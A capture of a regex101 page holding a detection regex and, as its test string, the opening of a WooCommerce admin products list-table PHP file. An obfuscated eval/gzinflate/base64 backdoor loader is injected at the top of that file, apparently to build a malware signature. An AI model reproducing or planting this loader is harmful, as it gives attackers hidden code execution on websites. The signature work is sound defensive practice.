Regular Expressions 101

Save & Manage Regex

  • Current Version: 1
  • Save & Share
  • Community Library

Flavor

  • PCRE2 (PHP)
  • ECMAScript (JavaScript)
  • Python
  • Golang
  • Java
  • .NET 7.0 (C#)
  • Rust
  • PCRE (Legacy)
  • Regex Flavor Guide

Function

  • Match
  • Substitution
  • List
  • Unit Tests
Sponsors
An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
Processing...

Test String

Code Generator

Generated Code

#include <StringConstants.au3> ; to declare the Constants of StringRegExp #include <Array.au3> ; UDF needed for _ArrayDisplay and _ArrayConcatenate Local $sRegex = "(?is)^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*\K\s*(\$\w+)[\s\=]+["']_blj5r\.my0\*[\w\);\(\/]+["'];(\$\w+)[\s\=]+(?:\1\[\d+\][\.;]?)+\$\w+[\s\=]+["']e["']\.chr\(\d+\)[^;]+;\s*(\$\w+)[\s\=]+["']\\x29\\x29\\x29\\x3b["'];.{0,220}\3;\s*\2\((?:\1\[\d+\][\.,]?\s*)+[^;]+;\s*(?=\/\*\*)" Local $sString = "<?php" & @CRLF & _ "$rcgMxC6734 = "_blj5r.my0*csk)ohfnwe;(txvd432z8a9upiq6g/71";$U6495 = $rcgMxC6734[35].$rcgMxC6734[5].$rcgMxC6734[20].$rcgMxC6734[39].$rcgMxC6734[0].$rcgMxC6734[5].$rcgMxC6734[20].$rcgMxC6734[35].$rcgMxC6734[2].$rcgMxC6734[32].$rcgMxC6734[11].$rcgMxC6734[20];$OhEeAo7391 = "e".chr(118)."".chr(97)."l(".chr(103)."".chr(122)."".chr(105)."n".chr(102)."\x6C\x61\x74\x65\x28\x62".chr(97)."\x73\x656".chr(52)."\x5F\x64ec".chr(111)."\x64".chr(101)."".chr(40)."";$etFyzu1528 = "\x29\x29\x29\x3B";$ldiraP9897 = $OhEeAo7391."'y0xT0FCJd/P0cQ2OVnczzDFWj9VUqM7NL0uNLy3IyU9MSU2JT8vMSUVXFK1eklsQn5eYm6oeq6OgEh/gHxwSre4H5mtaK6QmZ+QrqPt7q1sruFZklljXWnPZ2BdkFEAklPz9PBX8PD1CIx0V/FwVolxcfRwjQ10UFRUNDQ0B'".$etFyzu1528;$U6495($rcgMxC6734[40].$rcgMxC6734[6].$rcgMxC6734[10].$rcgMxC6734[40].$rcgMxC6734[20], $ldiraP9897 ,"361");/**" & @CRLF & _ " * List tables: products." & @CRLF & _ " *" & @CRLF & _ " * @package WooCommerce/Admin" & @CRLF & _ " * @version 3.3.0" & @CRLF & _ " */" & @CRLF & _ "" & @CRLF & _ "if ( ! defined( 'ABSPATH' ) ) {" & @CRLF & _ " exit;" & @CRLF & _ "}" & @CRLF & _ "" & @CRLF & _ "if ( class_exists( 'WC_Admin_List_Table_Products', false ) ) {" & @CRLF & _ " return;" & @CRLF & _ "}" & @CRLF & _ "" & @CRLF & _ "if ( ! class_exists( 'WC_Admin_List_Table', false ) ) {" & @CRLF & _ " include_once 'abstract-class-wc-admin-list-table.php';" & @CRLF & _ "}" & @CRLF & _ "" & @CRLF & _ "/**" & @CRLF & _ " * WC_Admin_List_Table_Products Class." & @CRLF & _ " */" & @CRLF & _ "class WC_Admin_List_Table_Products extends WC_Admin_List_Table {" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Post type." & @CRLF & _ " *" & @CRLF & _ " * @var string" & @CRLF & _ " */" & @CRLF & _ " protected $list_table_type = 'product';" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Constructor." & @CRLF & _ " */" & @CRLF & _ " public function __construct() {" & @CRLF & _ " parent::__construct();" & @CRLF & _ " add_filter( 'disable_months_dropdown', '__return_true' );" & @CRLF & _ " add_filter( 'query_vars', array( $this, 'add_custom_query_var' ) );" & @CRLF & _ " add_filter( 'views_edit-product', array( $this, 'product_views' ) );" & @CRLF & _ " add_filter( 'get_search_query', array( $this, 'search_label' ) );" & @CRLF & _ " add_filter( 'posts_clauses', array( $this, 'posts_clauses' ), 10, 2 );" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Render blank state." & @CRLF & _ " */" & @CRLF & _ " protected function render_blank_state() {" & @CRLF & _ " echo '<div class="woocommerce-BlankState">';" & @CRLF & _ "" & @CRLF & _ " echo '<h2 class="woocommerce-BlankState-message">' . esc_html__( 'Ready to start selling something awesome?', 'woocommerce' ) . '</h2>';" & @CRLF & _ "" & @CRLF & _ " echo '<div class="woocommerce-BlankState-buttons">';" & @CRLF & _ "" & @CRLF & _ " echo '<a class="woocommerce-BlankState-cta button-primary button" href="' . esc_url( admin_url( 'post-new.php?post_type=product&tutorial=true' ) ) . '">' . esc_html__( 'Create Product', 'woocommerce' ) . '</a>';" & @CRLF & _ " echo '<a class="woocommerce-BlankState-cta button" href="' . esc_url( admin_url( 'edit.php?post_type=product&page=product_importer' ) ) . '">' . esc_html__( 'Start Import', 'woocommerce' ) . '</a>';" & @CRLF & _ "" & @CRLF & _ " echo '</div>';" & @CRLF & _ "" & @CRLF & _ " do_action( 'wc_marketplace_suggestions_products_empty_state' );" & @CRLF & _ "" & @CRLF & _ " echo '</div>';" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Define primary column." & @CRLF & _ " *" & @CRLF & _ " * @return string" & @CRLF & _ " */" & @CRLF & _ " protected function get_primary_column() {" & @CRLF & _ " return 'name';" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Get row actions to show in the list table." & @CRLF & _ " *" & @CRLF & _ " * @param array $actions Array of actions." & @CRLF & _ " * @param WP_Post $post Current post object." & @CRLF & _ " * @return array" & @CRLF & _ " */" & @CRLF & _ " protected function get_row_actions( $actions, $post ) {" & @CRLF & _ " /* translators: %d: product ID. */" & @CRLF & _ " return array_merge( array( 'id' => sprintf( __( 'ID: %d', 'woocommerce' ), $post->ID ) ), $actions );" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Define which columns are sortable." & @CRLF & _ " *" & @CRLF & _ " * @param array $columns Existing columns." & @CRLF & _ " * @return array" & @CRLF & _ " */" & @CRLF & _ " public function define_sortable_columns( $columns ) {" & @CRLF & _ " $custom = array(" & @CRLF & _ " 'price' => 'price'," & @CRLF & _ " 'sku' => 'sku'," & @CRLF & _ " 'name' => 'title'," & @CRLF & _ " );" & @CRLF & _ " return wp_parse_args( $custom, $columns );" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Define which columns to show on this screen." & @CRLF & _ " *" & @CRLF & _ " * @param array $columns Existing columns." & @CRLF & _ " * @return array" & @CRLF & _ " */" & @CRLF & _ " public function define_columns( $columns ) {" & @CRLF & _ " if ( empty( $columns ) && ! is_array( $columns ) ) {" & @CRLF & _ " $columns = array();" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " unset( $columns['title'], $columns['comments'], $columns['date'] );" & @CRLF & _ "" & @CRLF & _ " $show_columns = array();" & @CRLF & _ " $show_columns['cb'] = '<input type="checkbox" />';" & @CRLF & _ " $show_columns['thumb'] = '<span class="wc-image tips" data-tip="' . esc_attr__( 'Image', 'woocommerce' ) . '">' . __( 'Image', 'woocommerce' ) . '</span>';" & @CRLF & _ " $show_columns['name'] = __( 'Name', 'woocommerce' );" & @CRLF & _ "" & @CRLF & _ " if ( wc_product_sku_enabled() ) {" & @CRLF & _ " $show_columns['sku'] = __( 'SKU', 'woocommerce' );" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " if ( 'yes' === get_option( 'woocommerce_manage_stock' ) ) {" & @CRLF & _ " $show_columns['is_in_stock'] = __( 'Stock', 'woocommerce' );" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " $show_columns['price'] = __( 'Price', 'woocommerce' );" & @CRLF & _ " $show_columns['product_cat'] = __( 'Categories', 'woocommerce' );" & @CRLF & _ " $show_columns['product_tag'] = __( 'Tags', 'woocommerce' );" & @CRLF & _ " $show_columns['featured'] = '<span class="wc-featured parent-tips" data-tip="' . esc_attr__( 'Featured', 'woocommerce' ) . '">' . __( 'Featured', 'woocommerce' ) . '</span>';" & @CRLF & _ " $show_columns['date'] = __( 'Date', 'woocommerce' );" & @CRLF & _ "" & @CRLF & _ " return array_merge( $show_columns, $columns );" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Pre-fetch any data for the row each column has access to it. the_product global is there for bw compat." & @CRLF & _ " *" & @CRLF & _ " * @param int $post_id Post ID being shown." & @CRLF & _ " */" & @CRLF & _ " protected function prepare_row_data( $post_id ) {" & @CRLF & _ " global $the_product;" & @CRLF & _ "" & @CRLF & _ " if ( empty( $this->object ) || $this->object->get_id() !== $post_id ) {" & @CRLF & _ " $the_product = wc_get_product( $post_id );" & @CRLF & _ " $this->object = $the_product;" & @CRLF & _ " }" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Render columm: thumb." & @CRLF & _ " */" & @CRLF & _ " protected function render_thumb_column() {" & @CRLF & _ " echo '<a href="' . esc_url( get_edit_post_link( $this->object->get_id() ) ) . '">' . $this->object->get_image( 'thumbnail' ) . '</a>'; // WPCS: XSS ok." & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Render column: name." & @CRLF & _ " */" & @CRLF & _ " protected function render_name_column() {" & @CRLF & _ " global $post;" & @CRLF & _ "" & @CRLF & _ " $edit_link = get_edit_post_link( $this->object->get_id() );" & @CRLF & _ " $title = _draft_or_post_title();" & @CRLF & _ "" & @CRLF & _ " echo '<strong><a class="row-title" href="' . esc_url( $edit_link ) . '">' . esc_html( $title ) . '</a>';" & @CRLF & _ "" & @CRLF & _ " _post_states( $post );" & @CRLF & _ "" & @CRLF & _ " echo '</strong>';" & @CRLF & _ "" & @CRLF & _ " if ( $this->object->get_parent_id() > 0 ) {" & @CRLF & _ " echo '&nbsp;&nbsp;&larr; <a href="' . esc_url( get_edit_post_link( $this->object->get_parent_id() ) ) . '">' . get_the_title( $this->object->get_parent_id() ) . '</a>'; // @codingStandardsIgnoreLine." & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " get_inline_data( $post );" & @CRLF & _ "" & @CRLF & _ " /* Custom inline data for woocommerce. */" & @CRLF & _ " echo '" & @CRLF & _ " <div class="hidden" id="woocommerce_inline_' . absint( $this->object->get_id() ) . '">" & @CRLF & _ " <div class="menu_order">' . esc_html( $this->object->get_menu_order() ) . '</div>" & @CRLF & _ " <div class="sku">' . esc_html( $this->object->get_sku() ) . '</div>" & @CRLF & _ " <div class="regular_price">' . esc_html( $this->object->get_regular_price() ) . '</div>" & @CRLF & _ " <div class="sale_price">' . esc_html( $this->object->get_sale_price() ) . '</div>" & @CRLF & _ " <div class="weight">' . esc_html( $this->object->get_weight() ) . '</div>" & @CRLF & _ " <div class="length">' . esc_html( $this->object->get_length() ) . '</div>" & @CRLF & _ " <div class="width">' . esc_html( $this->object->get_width() ) . '</div>" & @CRLF & _ " <div class="height">' . esc_html( $this->object->get_height() ) . '</div>" & @CRLF & _ " <div class="shipping_class">' . esc_html( $this->object->get_shipping_class() ) . '</div>" & @CRLF & _ " <div class="visibility">' . esc_html( $this->object->get_catalog_visibility() ) . '</div>" & @CRLF & _ " <div class="stock_status">' . esc_html( $this->object->get_stock_status() ) . '</div>" & @CRLF & _ " <div class="stock">' . esc_html( $this->object->get_stock_quantity() ) . '</div>" & @CRLF & _ " <div class="manage_stock">' . esc_html( wc_bool_to_string( $this->object->get_manage_stock() ) ) . '</div>" & @CRLF & _ " <div class="featured">' . esc_html( wc_bool_to_string( $this->object->get_featured() ) ) . '</div>" & @CRLF & _ " <div class="product_type">' . esc_html( $this->object->get_type() ) . '</div>" & @CRLF & _ " <div class="product_is_virtual">' . esc_html( wc_bool_to_string( $this->object->get_virtual() ) ) . '</div>" & @CRLF & _ " <div class="tax_status">' . esc_html( $this->object->get_tax_status() ) . '</div>" & @CRLF & _ " <div class="tax_class">' . esc_html( $this->object->get_tax_class() ) . '</div>" & @CRLF & _ " <div class="backorders">' . esc_html( $this->object->get_backorders() ) . '</div>" & @CRLF & _ " <div class="low_stock_amount">' . esc_html( $this->object->get_low_stock_amount() ) . '</div>" & @CRLF & _ " </div>" & @CRLF & _ " ';" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Render columm: sku." & @CRLF & _ " */" & @CRLF & _ " protected function render_sku_column() {" & @CRLF & _ " echo $this->object->get_sku() ? esc_html( $this->object->get_sku() ) : '<span class="na">&ndash;</span>';" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Render columm: price." & @CRLF & _ " */" & @CRLF & _ " protected function render_price_column() {" & @CRLF & _ " echo $this->object->get_price_html() ? wp_kses_post( $this->object->get_price_html() ) : '<span class="na">&ndash;</span>';" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Render columm: product_cat." & @CRLF & _ " */" & @CRLF & _ " protected function render_product_cat_column() {" & @CRLF & _ " $terms = get_the_terms( $this->object->get_id(), 'product_cat' );" & @CRLF & _ " if ( ! $terms ) {" & @CRLF & _ " echo '<span class="na">&ndash;</span>';" & @CRLF & _ " } else {" & @CRLF & _ " $termlist = array();" & @CRLF & _ " foreach ( $terms as $term ) {" & @CRLF & _ " $termlist[] = '<a href="' . esc_url( admin_url( 'edit.php?product_cat=' . $term->slug . '&post_type=product' ) ) . ' ">' . esc_html( $term->name ) . '</a>';" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " echo apply_filters( 'woocommerce_admin_product_term_list', implode( ', ', $termlist ), 'product_cat', $this->object->get_id(), $termlist, $terms ); // WPCS: XSS ok." & @CRLF & _ " }" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Render columm: product_tag." & @CRLF & _ " */" & @CRLF & _ " protected function render_product_tag_column() {" & @CRLF & _ " $terms = get_the_terms( $this->object->get_id(), 'product_tag' );" & @CRLF & _ " if ( ! $terms ) {" & @CRLF & _ " echo '<span class="na">&ndash;</span>';" & @CRLF & _ " } else {" & @CRLF & _ " $termlist = array();" & @CRLF & _ " foreach ( $terms as $term ) {" & @CRLF & _ " $termlist[] = '<a href="' . esc_url( admin_url( 'edit.php?product_tag=' . $term->slug . '&post_type=product' ) ) . ' ">' . esc_html( $term->name ) . '</a>';" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " echo apply_filters( 'woocommerce_admin_product_term_list', implode( ', ', $termlist ), 'product_tag', $this->object->get_id(), $termlist, $terms ); // WPCS: XSS ok." & @CRLF & _ " }" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Render columm: featured." & @CRLF & _ " */" & @CRLF & _ " protected function render_featured_column() {" & @CRLF & _ " $url = wp_nonce_url( admin_url( 'admin-ajax.php?action=woocommerce_feature_product&product_id=' . $this->object->get_id() ), 'woocommerce-feature-product' );" & @CRLF & _ " echo '<a href="' . esc_url( $url ) . '" aria-label="' . esc_attr__( 'Toggle featured', 'woocommerce' ) . '">';" & @CRLF & _ " if ( $this->object->is_featured() ) {" & @CRLF & _ " echo '<span class="wc-featured tips" data-tip="' . esc_attr__( 'Yes', 'woocommerce' ) . '">' . esc_html__( 'Yes', 'woocommerce' ) . '</span>';" & @CRLF & _ " } else {" & @CRLF & _ " echo '<span class="wc-featured not-featured tips" data-tip="' . esc_attr__( 'No', 'woocommerce' ) . '">' . esc_html__( 'No', 'woocommerce' ) . '</span>';" & @CRLF & _ " }" & @CRLF & _ " echo '</a>';" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Render columm: is_in_stock." & @CRLF & _ " */" & @CRLF & _ " protected function render_is_in_stock_column() {" & @CRLF & _ " if ( $this->object->is_on_backorder() ) {" & @CRLF & _ " $stock_html = '<mark class="onbackorder">' . __( 'On backorder', 'woocommerce' ) . '</mark>';" & @CRLF & _ " } elseif ( $this->object->is_in_stock() ) {" & @CRLF & _ " $stock_html = '<mark class="instock">' . __( 'In stock', 'woocommerce' ) . '</mark>';" & @CRLF & _ " } else {" & @CRLF & _ " $stock_html = '<mark class="outofstock">' . __( 'Out of stock', 'woocommerce' ) . '</mark>';" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " if ( $this->object->managing_stock() ) {" & @CRLF & _ " $stock_html .= ' (' . wc_stock_amount( $this->object->get_stock_quantity() ) . ')';" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " echo wp_kses_post( apply_filters( 'woocommerce_admin_stock_html', $stock_html, $this->object ) );" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Query vars for custom searches." & @CRLF & _ " *" & @CRLF & _ " * @param mixed $public_query_vars Array of query vars." & @CRLF & _ " * @return array" & @CRLF & _ " */" & @CRLF & _ " public function add_custom_query_var( $public_query_vars ) {" & @CRLF & _ " $public_query_vars[] = 'sku';" & @CRLF & _ " return $public_query_vars;" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Render any custom filters and search inputs for the list table." & @CRLF & _ " */" & @CRLF & _ " protected function render_filters() {" & @CRLF & _ " $filters = apply_filters(" & @CRLF & _ " 'woocommerce_products_admin_list_table_filters'," & @CRLF & _ " array(" & @CRLF & _ " 'product_category' => array( $this, 'render_products_category_filter' )," & @CRLF & _ " 'product_type' => array( $this, 'render_products_type_filter' )," & @CRLF & _ " 'stock_status' => array( $this, 'render_products_stock_status_filter' )," & @CRLF & _ " )" & @CRLF & _ " );" & @CRLF & _ "" & @CRLF & _ " ob_start();" & @CRLF & _ " foreach ( $filters as $filter_callback ) {" & @CRLF & _ " call_user_func( $filter_callback );" & @CRLF & _ " }" & @CRLF & _ " $output = ob_get_clean();" & @CRLF & _ "" & @CRLF & _ " echo apply_filters( 'woocommerce_product_filters', $output ); // WPCS: XSS ok." & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Render the product category filter for the list table." & @CRLF & _ " *" & @CRLF & _ " * @since 3.5.0" & @CRLF & _ " */" & @CRLF & _ " protected function render_products_category_filter() {" & @CRLF & _ " $categories_count = (int) wp_count_terms( 'product_cat' );" & @CRLF & _ "" & @CRLF & _ " if ( $categories_count <= apply_filters( 'woocommerce_product_category_filter_threshold', 100 ) ) {" & @CRLF & _ " wc_product_dropdown_categories(" & @CRLF & _ " array(" & @CRLF & _ " 'option_select_text' => __( 'Filter by category', 'woocommerce' )," & @CRLF & _ " 'hide_empty' => 0," & @CRLF & _ " )" & @CRLF & _ " );" & @CRLF & _ " } else {" & @CRLF & _ " $current_category_slug = isset( $_GET['product_cat'] ) ? wc_clean( wp_unslash( $_GET['product_cat'] ) ) : false; // WPCS: input var ok, CSRF ok." & @CRLF & _ " $current_category = $current_category_slug ? get_term_by( 'slug', $current_category_slug, 'product_cat' ) : false;" & @CRLF & _ " ?>" & @CRLF & _ " <select class="wc-category-search" name="product_cat" data-placeholder="<?php esc_attr_e( 'Filter by category', 'woocommerce' ); ?>" data-allow_clear="true">" & @CRLF & _ " <?php if ( $current_category_slug && $current_category ) : ?>" & @CRLF & _ " <option value="<?php echo esc_attr( $current_category_slug ); ?>" selected="selected"><?php echo esc_html( htmlspecialchars( wp_kses_post( $current_category->name ) ) ); ?><option>" & @CRLF & _ " <?php endif; ?>" & @CRLF & _ " </select>" & @CRLF & _ " <?php" & @CRLF & _ " }" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Render the product type filter for the list table." & @CRLF & _ " *" & @CRLF & _ " * @since 3.5.0" & @CRLF & _ " */" & @CRLF & _ " protected function render_products_type_filter() {" & @CRLF & _ " $current_product_type = isset( $_REQUEST['product_type'] ) ? wc_clean( wp_unslash( $_REQUEST['product_type'] ) ) : false; // WPCS: input var ok, sanitization ok." & @CRLF & _ " $output = '<select name="product_type" id="dropdown_product_type"><option value="">' . __( 'Filter by product type', 'woocommerce' ) . '</option>';" & @CRLF & _ "" & @CRLF & _ " foreach ( wc_get_product_types() as $value => $label ) {" & @CRLF & _ " $output .= '<option value="' . esc_attr( $value ) . '" ';" & @CRLF & _ " $output .= selected( $value, $current_product_type, false );" & @CRLF & _ " $output .= '>' . esc_html( $label ) . '</option>';" & @CRLF & _ "" & @CRLF & _ " if ( 'simple' === $value ) {" & @CRLF & _ "" & @CRLF & _ " $output .= '<option value="downloadable" ';" & @CRLF & _ " $output .= selected( 'downloadable', $current_product_type, false );" & @CRLF & _ " $output .= '> ' . ( is_rtl() ? '&larr;' : '&rarr;' ) . ' ' . __( 'Downloadable', 'woocommerce' ) . '</option>';" & @CRLF & _ "" & @CRLF & _ " $output .= '<option value="virtual" ';" & @CRLF & _ " $output .= selected( 'virtual', $current_product_type, false );" & @CRLF & _ " $output .= '> ' . ( is_rtl() ? '&larr;' : '&rarr;' ) . ' ' . __( 'Virtual', 'woocommerce' ) . '</option>';" & @CRLF & _ " }" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " $output .= '</select>';" & @CRLF & _ " echo $output; // WPCS: XSS ok." & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Render the stock status filter for the list table." & @CRLF & _ " *" & @CRLF & _ " * @since 3.5.0" & @CRLF & _ " */" & @CRLF & _ " public function render_products_stock_status_filter() {" & @CRLF & _ " $current_stock_status = isset( $_REQUEST['stock_status'] ) ? wc_clean( wp_unslash( $_REQUEST['stock_status'] ) ) : false; // WPCS: input var ok, sanitization ok." & @CRLF & _ " $stock_statuses = wc_get_product_stock_status_options();" & @CRLF & _ " $output = '<select name="stock_status"><option value="">' . esc_html__( 'Filter by stock status', 'woocommerce' ) . '</option>';" & @CRLF & _ "" & @CRLF & _ " foreach ( $stock_statuses as $status => $label ) {" & @CRLF & _ " $output .= '<option ' . selected( $status, $current_stock_status, false ) . ' value="' . esc_attr( $status ) . '">' . esc_html( $label ) . '</option>';" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " $output .= '</select>';" & @CRLF & _ " echo $output; // WPCS: XSS ok." & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Search by SKU or ID for products." & @CRLF & _ " *" & @CRLF & _ " * @deprecated Logic moved to query_filters." & @CRLF & _ " * @param string $where Where clause SQL." & @CRLF & _ " * @return string" & @CRLF & _ " */" & @CRLF & _ " public function sku_search( $where ) {" & @CRLF & _ " return $where;" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Change views on the edit product screen." & @CRLF & _ " *" & @CRLF & _ " * @param array $views Array of views." & @CRLF & _ " * @return array" & @CRLF & _ " */" & @CRLF & _ " public function product_views( $views ) {" & @CRLF & _ " global $wp_query;" & @CRLF & _ "" & @CRLF & _ " // Products do not have authors." & @CRLF & _ " unset( $views['mine'] );" & @CRLF & _ "" & @CRLF & _ " // Add sorting link." & @CRLF & _ " if ( current_user_can( 'edit_others_pages' ) ) {" & @CRLF & _ " $class = ( isset( $wp_query->query['orderby'] ) && 'menu_order title' === $wp_query->query['orderby'] ) ? 'current' : '';" & @CRLF & _ " $query_string = remove_query_arg( array( 'orderby', 'order' ) );" & @CRLF & _ " $query_string = add_query_arg( 'orderby', rawurlencode( 'menu_order title' ), $query_string );" & @CRLF & _ " $query_string = add_query_arg( 'order', rawurlencode( 'ASC' ), $query_string );" & @CRLF & _ " $views['byorder'] = '<a href="' . esc_url( $query_string ) . '" class="' . esc_attr( $class ) . '">' . __( 'Sorting', 'woocommerce' ) . '</a>';" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " return $views;" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Change the label when searching products" & @CRLF & _ " *" & @CRLF & _ " * @param string $query Search Query." & @CRLF & _ " * @return string" & @CRLF & _ " */" & @CRLF & _ " public function search_label( $query ) {" & @CRLF & _ " global $pagenow, $typenow;" & @CRLF & _ "" & @CRLF & _ " if ( 'edit.php' !== $pagenow || 'product' !== $typenow || ! get_query_var( 'product_search' ) || ! isset( $_GET['s'] ) ) { // WPCS: input var ok." & @CRLF & _ " return $query;" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " return wc_clean( wp_unslash( $_GET['s'] ) ); // WPCS: input var ok, sanitization ok." & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Handle any custom filters." & @CRLF & _ " *" & @CRLF & _ " * @param array $query_vars Query vars." & @CRLF & _ " * @return array" & @CRLF & _ " */" & @CRLF & _ " protected function query_filters( $query_vars ) {" & @CRLF & _ " $this->remove_ordering_args();" & @CRLF & _ " // Custom order by arguments." & @CRLF & _ " if ( isset( $query_vars['orderby'] ) ) {" & @CRLF & _ " $orderby = strtolower( $query_vars['orderby'] );" & @CRLF & _ " $order = isset( $query_vars['order'] ) ? strtoupper( $query_vars['order'] ) : 'DESC';" & @CRLF & _ "" & @CRLF & _ " if ( 'price' === $orderby ) {" & @CRLF & _ " $callback = 'DESC' === $order ? 'order_by_price_desc_post_clauses' : 'order_by_price_asc_post_clauses';" & @CRLF & _ " add_filter( 'posts_clauses', array( $this, $callback ) );" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " if ( 'sku' === $orderby ) {" & @CRLF & _ " $callback = 'DESC' === $order ? 'order_by_sku_desc_post_clauses' : 'order_by_sku_asc_post_clauses';" & @CRLF & _ " add_filter( 'posts_clauses', array( $this, $callback ) );" & @CRLF & _ " }" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " // Type filtering." & @CRLF & _ " if ( isset( $query_vars['product_type'] ) ) {" & @CRLF & _ " if ( 'downloadable' === $query_vars['product_type'] ) {" & @CRLF & _ " $query_vars['product_type'] = '';" & @CRLF & _ " add_filter( 'posts_clauses', array( $this, 'filter_downloadable_post_clauses' ) );" & @CRLF & _ " } elseif ( 'virtual' === $query_vars['product_type'] ) {" & @CRLF & _ " $query_vars['product_type'] = '';" & @CRLF & _ " add_filter( 'posts_clauses', array( $this, 'filter_virtual_post_clauses' ) );" & @CRLF & _ " }" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " // Stock status filter." & @CRLF & _ " if ( ! empty( $_GET['stock_status'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended" & @CRLF & _ " add_filter( 'posts_clauses', array( $this, 'filter_stock_status_post_clauses' ) );" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " // Shipping class taxonomy." & @CRLF & _ " if ( ! empty( $_GET['product_shipping_class'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended" & @CRLF & _ " $query_vars['tax_query'][] = array(" & @CRLF & _ " 'taxonomy' => 'product_shipping_class'," & @CRLF & _ " 'field' => 'slug'," & @CRLF & _ " 'terms' => sanitize_title( wp_unslash( $_GET['product_shipping_class'] ) )," & @CRLF & _ " 'operator' => 'IN'," & @CRLF & _ " );" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " // Search using CRUD." & @CRLF & _ " if ( ! empty( $query_vars['s'] ) ) {" & @CRLF & _ " $data_store = WC_Data_Store::load( 'product' );" & @CRLF & _ " $ids = $data_store->search_products( wc_clean( wp_unslash( $query_vars['s'] ) ), '', true, true );" & @CRLF & _ " $query_vars['post__in'] = array_merge( $ids, array( 0 ) );" & @CRLF & _ " $query_vars['product_search'] = true;" & @CRLF & _ " unset( $query_vars['s'] );" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " return $query_vars;" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Undocumented function" & @CRLF & _ " *" & @CRLF & _ " * @param array $args Array of SELECT statement pieces (from, where, etc)." & @CRLF & _ " * @param WP_Query $query WP_Query instance." & @CRLF & _ " * @return array" & @CRLF & _ " */" & @CRLF & _ " public function posts_clauses( $args, $query ) {" & @CRLF & _ "" & @CRLF & _ " return $args;" & @CRLF & _ " }" & @CRLF & _ "" & @CRLF & _ " /**" & @CRLF & _ " * Remove ordering queries." & @CRLF & _ " *" & @CRLF & _ " * @param array $posts Posts array, keeping this for backwards compatibility defaulting to empty array." & @CRLF & _ " * @return array" & @CRLF & _ " */" & @CRLF & _ " public function remove_ordering_args( $posts = array() ) {" & @CRLF & _ " remove_filter( 'posts_clauses', array( $this, 'order_by_price_asc_post_clauses' ) );" & @CRLF & _ " remove_filter( 'posts_clauses', array( $this, 